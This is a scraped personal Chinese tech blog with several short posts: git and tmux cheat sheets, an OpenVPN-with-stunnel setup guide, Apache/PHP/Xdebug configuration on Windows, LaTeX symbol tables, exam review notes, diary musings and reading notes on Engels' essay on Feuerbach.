https://git.cuc.edu.cn/ccs/2024-summer-cp/Network-Security-Comprehensive-Practice.git (push) ## origin https://github.com/lihan3238/Network-Security-Comprehensive-Practice.git (fetch) ## origin https://github.com/lihan3238/Network-Security-Comprehensive-Practice.git (push) ## 每次使用 git pull origin main 拉取工作仓库的更新,git push cuc main 推送到主仓库 # 绑定远程仓库-2 git remote set-url --add origin https://git.cuc.edu.cn/ccs/2024-summer-cp/Network-Security-Comprehensive-Practice.git ## 此时使用 git remote -v 查看绑定情况 ## origin https://github.com/lihan3238/Network-Security-Comprehensive-Practice.git (fetch) ## origin https://github.com/lihan3238/Network-Security-Comprehensive-Practice.git (push) ## origin https://git.cuc.edu.cn/ccs/2024-summer-cp/Network-Security-Comprehensive-Practice.git (push) ## 注意到 origin 的 push 地址有两个,分别是 github 和 gitlab 的地址,这样每次 git push origin main 时,会将更新推送到两个远程仓库,但是 pull 时只会从工作仓库拉取 注意: 1 2 3 4 git push [远程仓库名] [分支名] # 缺省 [远程仓库名] 时,默认为 origin,缺省 [分支名] 时,默认为当前分支 git push [远程仓库名] --all # 推送所有分支 2. 查看、切换分支与拉取远程分支 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 查看本地分支 git branch -l # 查看远程分支 git branch -r # 查看所有分支 git branch -a # 切换分支 git checkout [分支名] # 拉取远程分支到本地 git checkout -b [本地分支名] [远程仓库名]/[远程分支名] ## 例: git checkout -b feature-branch origin/feature-branch 3. 删除本地分支与远程分支 1 2 3 4 5 6 7 # 删除本地分支 git branch -d [分支名] # 强制删除本地分支 git branch -D [分支名] # 删除远程分支 git push [远程仓库名] --delete [分支名] # 例: git push origin --delete feature-branch 4. 解决 Pull Request 冲突 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # 1. 切换到目标分支(如 main) git checkout main # 2. 拉取最新的远程更新 git pull origin main # 3. 切换到你的功能分支 git checkout feature-branch # 4. 合并目标分支到你的功能分支 git merge main #Git 会告诉你有哪些文件冲突。 ##冲突内容会在文件中标记成这样: <<<<<<< HEAD # dev 分支的版本 print("dev version") ======= # feat/prompt 分支的版本 print("prompt feature version") >>>>>>> feat/prompt # 5. 手动解决冲突,编辑冲突文件,删除冲突标记并保留正确的代码 ## <<<<<<< ======= >>>>>>> # 6. 添加解决冲突后的文件 git add . git commit -m "fix: resolve merge conflicts between dev and feat/prompt" # 7. 推送更新到远程功能分支 git push origin feature-branch

7/11/2024
articleCard.readMore

tmux 简单攻略

会话操作 Ctrl+b ? # 显示快捷键帮助 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 tmux # 启动tmux并一个新的会话 # 新建会话 tmux new -s <会话名称> Ctrl+b c # 分离会话 tmux detach Ctrl+b d # 查看会话 tmux ls Ctrl+b s # 连接会话 tmux attach -t <会话名称> (tmux a -t <会话名称>) # 杀死会话 tmux kill-session -t <会话名称> # 重命名会话 tmux rename-session -t <旧会话名称> <新会话名称> Ctrl+b $ # 重命名当前会话 窗格操作 本质上是一个会话中的多个窗格,不是开启一个新的会话 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # 划分窗格 ## 上下划分 Ctrl+b " tmux split-window ## 左右划分 Ctrl+b % tmux split-window -h # 切换光标 Ctrl+b 方向键 Ctrl+b ; # 切换到上一个窗格 Ctrl+b o # 切换到下一个窗格 tmux select-pane -U # 上 tmux select-pane -D # 下 tmux select-pane -L # 左 tmux select-pane -R # 右 # 交换窗格 tmux swap-pane -U # 上移当前窗格 tmux swap-pane -D # 下移当前窗格 # 关闭窗格 Ctrl+b x # 拆分当前窗格为独立窗格 Ctrl+b ! # 全屏/取消全屏 Ctrl+b z # 调整窗格大小 Ctrl+b Ctrl+方向键 # 显示窗格编号 Ctrl+b q

7/10/2024
articleCard.readMore

李寒的问题和想法

问题列表 [待补充] 1. gpl2.0等开源协议的效力是如何保障的? 解决: 通过开源社区的监督和维护,以及各国法律(如合同法等)的支持。 [待解决] 2. 开源项目的最终决定权(如合并PR),如何也实现去中心化? 创新点 [未完成] 1. 机器学习模型的可解释性 解决: 仿照人类学习教育的方式(先模仿,再在实践中理解),先训练出未解释的模型,然后进一步在训练中加入可解释性模块,逐步提高模型的可解释性。 展开:做饭模型 训练出能简单做出饭菜的模型,然后之后的训练中,逐步猜测和解释模型的行为,比如猜测选择盐可以变美味,那么尝试增加更多的盐,确实好吃了,那么说明盐是关键因素。通过这种方式,模型可以逐步理解和解释其行为。 +-

6/16/2024
articleCard.readMore

OpenVPN简单配置

前言 服务器一直闲着,除了搞个游戏联机服务器,偶尔泡泡程序,运行网站,想着再试试搞个VPN服务器试试,刚好注意到了OpenVPN,就试试看。 环境 服务端:Debian 11 测试客户端:Windows 11 配置 1. 安装OpenVPN客户端(window为例) 下载地址 点击下载安装即可。 2. OpenVPN客户端使用 将VPN服务提供者提供的.ovpn文件导入客户端,点击连接即可。 3. 安装OpenVPN服务端(Debian为例) 1 2 sudo apt update sudo apt install openvpn 4. 生成主证书颁发机构 (CA) 证书和密钥 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #使用easy-rsa工具生成CA证书和密钥 sudo apt install easy-rsa # 新建文件夹保存证书 mkdir -p /etc/openvpn/certs # 复制easy-rsa工具到/etc/openvpn/certs cp -r /usr/share/easy-rsa/[版本号]/ /etc/openvpn/certs # 编辑vars配置 cp ./vars.example ./vars sudo vim ./vars # 修改如下内容 set_var EASYRSA_REQ_COUNTRY "CN" set_var EASYRSA_REQ_PROVINCE "Beijing" set_var EASYRSA_REQ_CITY "Shanghai" set_var EASYRSA_REQ_ORG "koten" set_var EASYRSA_REQ_EMAIL "888888@qq.comm" # 初始化CA ./easyrsa init-pki #1、初始化,在当前目录创建PKI目录,用于存储整数 ./easyrsa build-ca #2、创建根证书,会提示设置密码,用于ca对之后生成的server和client证书签名时使用,其他提示内容直接回车即可 5. 生成server端和client端证书和密钥 1 2 3 4 5 6 7 8 9 10 11 12 13 # 生成server证书和密钥 ./easyrsa gen-req server nopass #1、生成server证书请求,nopass表示不设置密码 ./easyrsa sign-req server server #2、签发server证书,第一个server表示证书名称,第二个server表示证书类型 # 生成client证书和密钥 ./easyrsa gen-req client1 nopass #1、生成client证书请求,nopass表示不设置密码 ./easyrsa sign-req client client1 #2、签发client证书,第一个client表示证书名称,第二个client表示证书类型 # 同理生成其他client证书和密钥 # 生成Diffie-Hellman密钥交换 ./easyrsa gen-dh # tls-auth 密钥 openvpn --genkey --secret ta.key 也可以简化合并生成签发证书 1 2 3 4 5 6 7 ./easyrsa init-pki ./easyrsa build-ca # 生成 CA ./easyrsa build-server-full server nopass # 服务端证书 ./easyrsa build-client-full clientA nopass # 客户端 A ./easyrsa build-client-full clientB nopass # 客户端 B ./easyrsa gen-dh openvpn --genkey --secret ta.key Filename Needed By Purpose Secret ca.crt server + all clients Root CA certificate NO ca.key key signing machine only Root CA key YES dh{n}.pem server only Diffie Hellman parameters NO server.crt server only Server Certificate NO server.key server only Server Key YES client1.crt client1 only Client1 Certificate NO client1.key client1 only Client1 Key YES client2.crt client2 only Client2 Certificate NO client2.key client2 only Client2 Key YES client3.crt client3 only Client3 Certificate NO client3.key client3 only Client3 Key YES 6. 配置OpenVPN服务端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 sudo vim /etc/openvpn/server/server.conf # 服务端 配置文件 server.conf port 1194 proto udp dev tun #local 127.0.0.1 ca /etc/openvpn/easy-rsa/pki/ca.crt cert /etc/openvpn/easy-rsa/pki/issued/server.crt key /etc/openvpn/easy-rsa/pki/private/server.key dh /etc/openvpn/easy-rsa/pki/dh.pem tls-auth /etc/openvpn/easy-rsa/ta.key 0 server 10.8.0.0 255.255.255.0 ifconfig-pool-persist ipp.txt push "redirect-gateway def1 bypass-dhcp" push "dhcp-option DNS 8.8.8.8" keepalive 10 120 cipher AES-256-CBC persist-key persist-tun client-to-client #允许客户端互相通信 user openvpn group openvpn status openvpn-status.log verb 3 启动 1 2 3 4 5 sudo systemctl enable openvpn-server@server sudo systemctl start openvpn-server@server sudo systemctl status openvpn-server@server 报错: 权限问题: 注意相关ca.crt、server.crt、server.key、dh.pem、ta.key等文件的权限,确保OpenVPN服务有权限读取这些文件。 1 2 3 4 5 6 7 sudo chown -R root:root /etc/openvpn/easy-rsa/pki sudo chmod 600 /etc/openvpn/easy-rsa/pki/private/server.key sudo chmod 644 /etc/openvpn/easy-rsa/pki/ca.crt /etc/openvpn/easy-rsa/pki/dh.pem /etc/openvpn/easy-rsa/pki/issued/server.crt sudo touch /var/log/openvpn-status.log sudo chown openvpn:openvpn /var/log/openvpn-status.log sudo chmod 644 /var/log/openvpn-status.log 仍然不行的话,去掉server.conf中的user openvpn和group openvpn,以root用户运行。 1 2 3 #注释掉 #user openvpn #group openvpn 防火墙 记得设置服务器的防火墙,放行1194端口-udp 7. 配置OpenVPN客户端 仅路由VPN内网流量,其他流量走本地网络,不影响互联网 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 client dev tun proto udp remote [你的openvpn服务器ip] 1194 # resolv-retry infinite nobind persist-key persist-tun remote-cert-tls server cipher AES-256-CBC verb 3 ca ca.crt cert client_0.crt key client_0.key tls-auth ta.key 1 route-nopull route 10.8.0.0 255.255.255.0 全部流量走VPN,实现**上网 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # client.ovpn client dev tun proto udp remote [你的openvpn服务器ip] 1194 resolv-retry infinite nobind persist-key persist-tun remote-cert-tls server cipher AES-256-CBC verb 3 ca ca.crt cert client_0.crt key client_0.key tls-auth ta.key 1 #route-nopull #取消注释以使用自定义路由 #route 10.8.0.0 255.255.255.0 #仅路由VPN内网流量,其他流量走本地网络,不影响互联网 之后在服务端执行 1 2 3 4 5 6 # iptables 做 SNAT/MASQUERADE(假设公网网口是 eth0,VPN 网段 10.8.0.0/24) sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE # 允许转发(参考规则,视你防火墙而定) sudo iptables -A FORWARD -s 10.8.0.0/24 -o eth0 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -d 10.8.0.0/24 -i eth0 -m conntrack --ctstate ESTABLISHED -j ACCEPT 启动 将client.ovpn、ca.crt、client_0.crt、client_0.key、ta.key放到客户端的config目录下,打开OpenVPN GUI,右键点击托盘图标,选择导入配置文件,选择刚才的client.ovpn文件,导入成功后,点击连接即可。 报错: 连接超时 可能被墙了,可以尝试用stunnel进行SSL隧道加密,见 8.使用 stunnel 进行 SSL 隧道加密 8. 使用 stunnel 进行 SSL 隧道加密 有时可能被墙了,或者不稳定,可以尝试用stunnel进行SSL隧道加密。 走 tcp 443 端口,伪装成 HTTPS 流量。 服务器端 1 sudo pacman -S stunnel 生成自签名证书 1 2 3 openssl req -new -x509 -days 3650 -nodes -out /etc/stunnel/stunnel.pem -keyout /etc/stunnel/stunnel.pem chmod 600 /etc/stunnel/stunnel.pem 编辑配置文件 /etc/stunnel/stunnel.conf 1 2 3 4 5 6 7 8 9 pid = /var/run/stunnel.pid cert = /etc/stunnel/stunnel.pem foreground = yes [openvpn] accept = 443 # 对外提供 HTTPS 端口 connect = 127.0.0.1:1194 # 转发到 OpenVPN 服务器端口 # 注释不能在行尾 启动 stunnel 放行防火墙443端口-tcp和1194端口-udp、tcp 1 2 3 4 5 6 7 8 9 # 测试 sudo stunnel /etc/stunnel/stunnel.conf # 取消输出调试信息 stunnel.conf 中 foreground = no # 设置开机启动 sudo systemctl enable stunnel sudo systemctl start stunnel 修改 /etc/openvpn/server.conf 中 proto udp 为 proto tcp 填写 local 127.0.0.1,重启 OpenVPN 服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 port 1194 #proto udp proto tcp dev tun local 127.0.0.1 ca /etc/openvpn/easy-rsa/pki/ca.crt cert /etc/openvpn/easy-rsa/pki/issued/server.crt key /etc/openvpn/easy-rsa/pki/private/server.key dh /etc/openvpn/easy-rsa/pki/dh.pem tls-auth /etc/openvpn/easy-rsa/ta.key 0 server 10.8.0.0 255.255.255.0 ifconfig-pool-persist ipp.txt push "redirect-gateway def1 bypass-dhcp" push "dhcp-option DNS 8.8.8.8" keepalive 10 120 cipher AES-256-CBC persist-key persist-tun client-to-client #允许客户端互相通信 #user openvpn #group openvpn status openvpn-status.log verb 3 客户端 下载并安装 stunnel for Windows 编辑配置文件 stunnel.conf 1 2 3 4 5 6 7 [openvpn] client = yes accept = 127.0.0.1:1194 # 本地客户端连接端口 connect = [服务器ip]:443 # 连接服务器 stunnel 的 HTTPS CAfile = D:\bin\openvpn\pki\ca.crt 启动 stunnel 修改 client.ovpn 中 proto udp 为 proto tcp,remote [你的openvpn服务器ip] 1194 为 remote 127.0.0.1 1194 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 client dev tun proto tcp remote 127.0.0.1 1194 # resolv-retry infinite nobind persist-key persist-tun remote-cert-tls server cipher AES-256-CBC verb 3 ca ca.crt cert client_0.crt key client_0.key tls-auth ta.key 1 route-nopull route 10.8.0.0 255.255.255.0 之后重启 OpenVPN GUI,重新连接即可。 可在 stunnel.exe 所在目录下以管理员身份执行 ./stunnel.exe -install,创建服务 在 Windows 服务 中 设置自动并启动 Stunnel TLS Wrapper 以实现开机自启动 Stunnel 注意: 这种情况下 服务器只用放行443端口-tcp 客户端只用放443端口-tcp出站 若报错tls,检查stunnel.conf中,指定 tls 版本 1 2 # 客户端和服务器端都修改配置文件指定版本 sslVersion = TLSv1.2 9. windows 防火墙放行 打开 控制面板 → 系统和安全 → Windows Defender 防火墙 → 高级设置。 在左边选择 入站规则 → 右侧点击 新建规则。 规则类型选择 自定义。 程序 → 选择 所有程序。 协议和端口 → 保持默认(所有)。 作用域: 本地 IP:保持默认。 远程 IP:添加 10.8.0.0/24。 操作 → 选择 允许连接。 配置文件 → 全选(域、专用、公用)。 名称 → 比如 Allow OpenVPN LAN。

5/31/2024
articleCard.readMore

随想240530

偶遇丁真以及随想 丁真是疫情初期官方生造的偶像,感觉跟现在的天水麻辣烫、淄博烧烤一个味道。官方没操作好,惹怒了所谓小镇做题家群体,因而丁真风评我一直以为是很差的。 昨天在国重hvv时候,听说楼下有丁真,赶紧冲下去了,好家伙一群人,都是来看乐子的(现在想来,也许有真粉丝吧,我说怎么会有那么多女生)。 丁真一出来,好家伙大家都在口嗨,丁真倒也看得开,笑笑没说啥就走了,我也蹭了个高糊合影。 重点是,找乐子的同学把视频照片发抖音,用了略带嘲讽的文案,好家伙评论区给丁真粉丝(基本是女粉)冲烂了。 说实话,是不小的世界观冲击,丁真真有这么多粉丝啊好家伙!更离谱的,真有人现在还堂而皇之的炫富来秀优越感。 一直以来,我自觉一直努力避开信息茧房,b站、知乎、贴吧以及各个视角的键政人都有关注,这样看来,信息茧房真不可避免啊,抖音要多刷哈哈。 想来,知乎都是理工男、贴吧都是下头男、b站都是宅男,抖音反倒各种层次各种人都有,确实是观察世界的好地方。 考研 经历了无数次失败的计划后,我屈服了,去图书馆学吧,略有成效,不知道能不能坚持下来。 其他 马克思、区块链、小提琴…好多好多想学的,呜呜呜

5/30/2024
articleCard.readMore

数据结构学习笔记

数据结构学习笔记

5/26/2024
articleCard.readMore

特殊符号小记

前言 由起是用md做高数笔记时候,遇到各种数学符号,每次都上网查阅太麻烦了,索性集中在这里吧。 符号 数学符号 希腊字母 小写 大写 名称 latex(小写,大写首字母大写即可,如\beta->\Beta) α A alpha \alpha β B beta \beta γ Γ gamma \gamma δ Δ delta \delta ε E epsilon \epsilon ζ Z zeta \zeta η H eta \eta θ Θ theta \theta ι I iota \iota κ K kappa \kappa λ Λ lambda \lambda μ M mu \mu ν N nu \nu ξ Ξ xi \xi ο O omicron o π Π pi \pi ρ P rho \rho σ Σ sigma \sigma τ T tau \tau υ Y upsilon \upsilon φ Φ phi \phi χ X chi \chi ψ Ψ psi \psi ω Ω omega \omega 运算符号 符号 名称 latex ∃ 存在 \exists ∀ 任意 \forall ∈ 属于 \in ∅ 空集 \emptyset ∞ 无穷 \infty ∩ 交集 \cap ∪ 并集 \cup ⊂ 包含于 \subset ⊃ 包含 \supset ⊆ 子集 \subseteq ⊇ 包含 \supseteq ∵ 因为 \because ∴ 所以 \therefore ⇔ 充要条件 \Leftrightarrow 数学表达式的latex写法 简单表达式 表达式 名称 latex $lim_{x→a}f(x)$ 极限 lim_{x→a}f(x) $a_b$ 下标 a_b $a^b$ 上标 a^b $\frac{a}{b}$ 分数 \frac{a}{b} $\sqrt{a}$ 开方 \sqrt{a} $\sqrt[n]{a}$ n次方根 \sqrt[n]{a} $\sum_{i=1}^{n}a_i$ 求和 \sum_{i=1}^{n}a_i $\prod_{i=1}^{n}a_i$ 求积 \prod_{i=1}^{n}a_i $\int_{a}^{b}f(x)dx$ 积分 \int_{a}^{b}f(x)dx $\iint_{D}f(x,y)dxdy$ 二重积分 \iint_{D}f(x,y)dxdy $\iiint_{D}f(x,y,z)dxdydz$ 三重积分 \iiint_{D}f(x,y,z)dxdydz $\oint_{C}f(x,y)ds$ 曲线积分 \oint_{C}f(x,y)ds $\lim_{x→a}f(x)$ 极限 \lim_{x→a}f(x) 复杂表达式 定义域分类讨论的函数表达式 表达式 $$ f(x) = \begin{cases} x^2 & \text{if } x < 0 \ 2x + 1 & \text{if } 0 \leq x \leq 1 \ \frac{1}{x} & \text{if } x > 1 \end{cases} $$ latex 1 2 3 4 5 6 7 8 $$ f(x) = \begin{cases} x^2 & \text{if } x < 0 \\ 2x + 1 & \text{if } 0 \leq x \leq 1 \\ \frac{1}{x} & \text{if } x > 1 \end{cases} $$

5/26/2024
articleCard.readMore

apache+php环境配置

前言 翻了半天浏览器,官网的windows配置环境好像有点复杂,整理一下发个帖子吧。 环境配置 Apache环境配置 1.官网下载 Apache官网打开,点击Download 选择Files for Microsoft Windows下载 注意到这里有四个选项 Apache Lounge是单独安装apache Bitnami WAMP Stack、WampServer、XAMPP是集成环境,包含了Apache、MySQL、PHP等 这里选择Apache Lounge 选择httpd-2.4.59-240404-win64-VS17.zip下载并解压到本地 2.配置Apache 进入~\httpd-2.4.59-240404-win64-VS17\Apache24\bin目录,并用管理员权限打开命令行 输入httpd -k install安装服务 可以通过httpd -k uninstall卸载服务 通过添加-n参数可以指定服务名,如httpd -k install -n Apache2.4,默认为Apache2.4,卸载时也要指定服务名 打印The 'Apache2.4' service is successfully installed.,安装完成 Errors reported here must be corrected before the service can be started.报错可以忽略。 httpd.exe: Syntax error on line 39 of ~/httpd-2.4.59-240404-win64-VS17/Apache24/conf/httpd.conf: ServerRoot must be a valid directory报错,是因为httpd.conf中的ServerRoot路径不对 根据提示进入httpd.conf修改ServerRoot路径为实际目录,如ServerRoot "C:/httpd-2.4.59-240404-win64-VS17/Apache24" 输入httpd -k start启动服务,打开浏览器输入localhost,出现It works!页面,说明安装成功 AH00558: httpd.exe: Could not reliably determine the server's fully qualified domain name, using *. Set the 'ServerName' directive globally to suppress this message报错可以忽略 输入httpd -k stop停止服务 3.配置配置文件 配置环境变量 PHP环境配置 1.官网下载 PHP官网打开,点击Downloads 选择Windows downloads下载 选择VS16 x64 Thread Safe (2024-May-08 09:16:28) Zip [30.66MB]下载 选择非线程安全版本可能缺失php8apache2_4.dll文件 下载完成后解压到本地 2.配置PHP 添加环境变量 输入php -v查看版本,说明安装成功 进入~\php-8.3.7-Win32-vs16-x64目录,将php.ini-development文件复制一份并重命名为php.ini 修改php.ini文件 找到extension_dir,修改为extension_dir = "D:\bin\php\php-8.3.7-Win32-vs16-x64\ext" Apache+PHP整合环境配置 1.配置Apache 进入~\httpd-2.4.59-240404-win64-VS17\Apache24\conf目录,打开httpd.conf文件 找到#LoadModule vhost_alias_module modules/mod_vhost_alias.so,在下面添加 1 2 3 4 LoadModule php_module "D:/bin/php/php-8.3.7-Win32-vs16-x64/php8apache2_4.dll" PHPIniDir "D:/bin/php/php-8.3.7-Win32-vs16-x64" AddType application/x-httpd-php .php .html .htm 修改网站默认首页,找到 1 2 3 4 <IfModule dir_module> DirectoryIndex index.html </IfModule> 修改为 1 2 3 4 <IfModule dir_module> DirectoryIndex index.php index.html </IfModule> 修改Apache 默认的站点目录 在~\php-8.3.7-Win32-vs16-x64目录下新建www目录,将index.php文件放入 1 2 3 4 <?php phpinfo(); ?> 在httpd.conf文件中找到 1 2 3 4 5 6 7 # DocumentRoot: The directory out of which you will serve your # documents. By default, all requests are taken from this directory, but # symbolic links and aliases may be used to point to other locations. # DocumentRoot "${SRVROOT}/htdocs" <Directory "${SRVROOT}/htdocs"> 修改为 1 2 3 4 5 6 7 # DocumentRoot: The directory out of which you will serve your # documents. By default, all requests are taken from this directory, but # symbolic links and aliases may be used to point to other locations. # DocumentRoot "你的路径\php\www" <Directory "你的路径\php\www> 2.重启Apache 输入httpd -k start启动服务,打开浏览器输入localhost,出现phpinfo页面,说明安装成功 php依赖管理工具 Composer 1.官网下载 Composer官网打开 安装方式一: 点击Composer-Setup.exe下载,在 php 安装目录中找到 php.ini 文件,;extension=openssl前面的分号去掉,保存并重启 Apache 服务。之后双击安装文件,安装 Composer 安装方式二: 修改php.ini文件 复制官网的命令行代码,粘贴到命令行中执行 2.配置Composer镜像(可选) 1 2 #aliyun composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ VSCode配置 1.安装插件 在vs code插件商店中,搜索并安装相关的组件: Composer PHP PHP Debug(后面需要做进一步的设置) PHP Extendsion Pack Php IntelliSense Vs code 安装 debug 插件后,需要在 settings.json 中进行设置,即在最外层大括号下面,添加以下两个php.exe所在的路径: 1 2 3 4 { "php.validate.executablePath": "xx/php-8.3.7-Win32-vs16-x64/php.exe", "php.executablePath": "xx/php-8.3.7-Win32-vs16-x64/php.exe" } Xdebug配置 1.官网下载 命令行输入php -i查看php信息,复制信息到官网检查版本并下载对应版本 下载完成后,移动到php的ext目录下,并重命名为php_xdebug.dll 修改php.ini文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #添加 [XDebug] zend_extension=php_xdebug.dll xdebug.output_dir="xx\php\tmp\xdebug" ; xdebug 监听地址(Xdebug3写法,2的名称为 remote_host) xdebug.client_host="127.0.0.1" xdebug.client_port=9003 xdebug.remote_handler=dbgp xdebug.start_with_request = yes xdebug.idekey = Vscode xdebug.collect_return = On xdebug.mode = debug ; 本机调试,Xdebug3新增设置 xdebug.discover_client_host = On 重启Apache服务 cmd 命令提示符下测试xdebug安装是否成功: 1 php --version – 打开浏览器,输入localhost,查看phpinfo页面,搜索xdebug,如果有相关信息,说明安装成功 VSCode配置 在网站根目录www下新建test.php文件 1 2 3 4 5 6 <?php for ($i = 0; $i < 10; $i++) { echo $i; } ?> vscode打开test.php文件,点击左侧的调试按钮,选择create a launch.json file,选择PHP,生成launch.json文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 //自动生成的launch.json如下 { // 使用 IntelliSense 了解相关属性。 // 悬停以查看现有属性的描述。 // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "name": "Listen for Xdebug", "type": "php", "request": "launch", "port": 9003 }, { "name": "Launch currently open script", "type": "php", "request": "launch", "program": "${file}", "cwd": "${fileDirname}", "port": 0, "runtimeArgs": [ "-dxdebug.start_with_request=yes" ], "env": { "XDEBUG_MODE": "debug,develop", "XDEBUG_CONFIG": "client_port=${port}" } }, { "name": "Launch Built-in web server", "type": "php", "request": "launch", "runtimeArgs": [ "-dxdebug.mode=debug", "-dxdebug.start_with_request=yes", "-S", "localhost:0" ], "program": "", "cwd": "${workspaceRoot}", "port": 9003, "serverReadyAction": { "pattern": "Development Server \\(http://localhost:([0-9]+)\\) started", "uriFormat": "http://localhost:%s", "action": "openExternally" } } ] } 选择Listen for Xdebug,点击左侧的调试按钮,选择Listen for Xdebug,设置断点,点击F5,打开浏览器,输入localhost/test.php,断点调试 php.ini中,xdebug.mode = debug 的使用场景为需要断点调试的时候。 本地开发时,一般同时开启两个,即xdebug.mode = debug,profile 7.1 xdebug.mode 此设置控制启用哪些Xdebug功能。 接受以下值: 值 说明 off 没有启用任何功能。Xdebug 除了检查功能是否已启用外不起作用。如果您想要接近零的开销,请使用此设置。 develop 启用包括重载的var_dump()在内的开发帮助。 coverage 使Code Coverage Analysis能够生成代码覆盖率报告,主要是与PHPUnit结合使用 。 coverage 使Code Coverage Analysis能够生成代码覆盖率报告,主要是与PHPUnit结合使用 。 debug 启用步骤调试。这可用于在代码运行时逐步检查代码,并分析变量的值。 gcstats 使垃圾收集统计信息能够收集有关PHP的垃圾收集机制的统计信息。 profile 启用性能分析,您可以使用它通过KCacheGrind之类的工具分析性能瓶颈。 trace 启用功能跟踪功能,该功能允许您记录每个函数调用,包括参数,变量赋值以及在对文件的请求期间进行的返回值。 以","(逗号)分隔 xdebug.mode 的值作为标识符来同时启用多个模式xdebug.mode=develop,trace。 还可以通过XDEBUG_MODE在命令行上设置环境变量来设置模式,这样优先于xdebug.mode 设置。 7.2 start_with_request

5/16/2024
articleCard.readMore

软考复习

中级软件设计师 上半场 软考通app刷题记录 浮点数的存储格式 符号位(数符):符号位用来表示该数的正负性,一般用0表示正数,1表示负数。 阶码:阶码用来表示浮点数的数量级,通常采用带符号的二进制表示。阶码的取值范围是有限的,一般在单精度浮点数中为-126到127,在双精度浮点数中为-1022到1023。 尾数:尾数用来表示浮点数的有效数字部分,通常采用二进制小数的形式表示。尾数的位数在不同的计算机中可以不同,一般为单精度浮点数中的23位,双精度浮点数中的52位。 阶符:阶符用来表示阶码的正负性,一般用0表示正数,1表示负数。阶符通常与符号位一起表示浮点数的符号 补码加减法直接加减不用管符号位,因为并入了;补码的相反数为按位取反加1; 校验码 海明码 计算机组成 3.1 主存储器(内存)RAM 3.2 中央处理器 CPU-运算器 3.3 中央处理器 CPU-控制器 计算机体系架构 Flynn分类法 指令 指令系统 输入输出技术 IO 存储系统 下半场 1. 数据流图 2. E-R图 主键 下划线实线;外键 下划线虚线 UML图

5/12/2024
articleCard.readMore

《路德维希·费尔巴哈和德国古典哲学的终结》 读书笔记

随想00 马经天天读,功力日日深! 开学! 可以对照《路德维希·费尔巴哈和德国古典哲学的终结》注释 (武汉大学哲学系编)1978阅读学习。看了一点,感觉还是得看看这种注释读本,不然又没人讨论教我,满满都是疑问就gg,我想着看一章,看一章注释,然后总结一章。看了开头的这个注释读本,感觉可以看完这个再看看《德意志意识形态》。 学习笔记 笔记由如下元素组成: 原神启动 索引 主说,原神,启动!于是就有了mihayo! 知识 原神:mihayo研发的开放世界冒险游戏。 维基百科 随想 我也喜欢玩原神! 你别说,原神真好玩! q1: 为什么原神这么好玩? 背景信息 作者: 弗里德里希·恩格斯 时间: 1888年2月21日于伦敦 背景: 马克思已逝世 纪念费尔巴哈逝世十周年 借用评判费尔巴哈的思想,阐述马克思主义的基本原理 一 1. 1848革命 索引 然而这终究是德国准备1848年革命的时期;那以后我国所发生的一切,仅仅是1848年的继续,仅仅是革命遗嘱的执行罢了。 知识 1848年革命:1848年欧洲各国爆发的一系列武装革命,可以说是欧洲历史上最大规模的革命运动。第一场革命于1848年1月在两西西里王国的西西里岛爆发。随后的法国二月革命更是将革命浪潮波及到几乎全欧洲。但是这一系列革命大多都迅速以失败告终。尽管如此,1848年革命还是造成了各国君主与贵族体制动荡,并间接导致了德国统一及意大利统一运动。 维基百科 法国二月革命是法国于1848年2月发生的一场革命,法国人民面对法兰西王国七月王朝的失政,成功推翻当时的法国国王路易-菲利普一世,直接导致1848年欧洲的革命浪潮,令1815年维也纳会议组织的欧洲协调格局受到进一步打击。 维基百科 2. 十九世纪的德国 索引 在这些教授后面,在他们的迂腐晦涩的言词后面,在他们的笨拙枯燥的语句里面竟能隐藏着革命吗?不正是那时被认为是革命代表者的人即自由派激烈反对这种使头脑混乱的哲学吗?但是不论政府或自由派都没有看到的东西,至少有一个人在1833年已经看到了,这个人就是亨利·海涅192。   举个例子来说吧。不论哪一个哲学命题都没有像黑格尔的一个著名命题那样引起近视的政府的感激和同样近视的自由派的愤怒,这个命题就是:   “凡是现实的都是合理的,凡是合理的都是现实的。” 知识 亨利·海涅19世纪最重要的德国诗人和新闻工作者之一,与马克思相识并成为工人同情者,但不满共产主义激进对欧洲文化的破坏,不是马克思主义者。煽动性的诗歌和政治文章使他被普鲁士政府制裁,对他的作品进行了审查。 维基百科 随想 这段越看越难绷,有一种贴脸开大的感觉,和当今颇有相似之处。 特别还有这里: 这显然是把现存的一切神圣化,是在哲学上替专制制度、替警察国家、替王室司法、替书报检查制度祝福。 3. 凡是现存的,都是应当灭亡的 索引 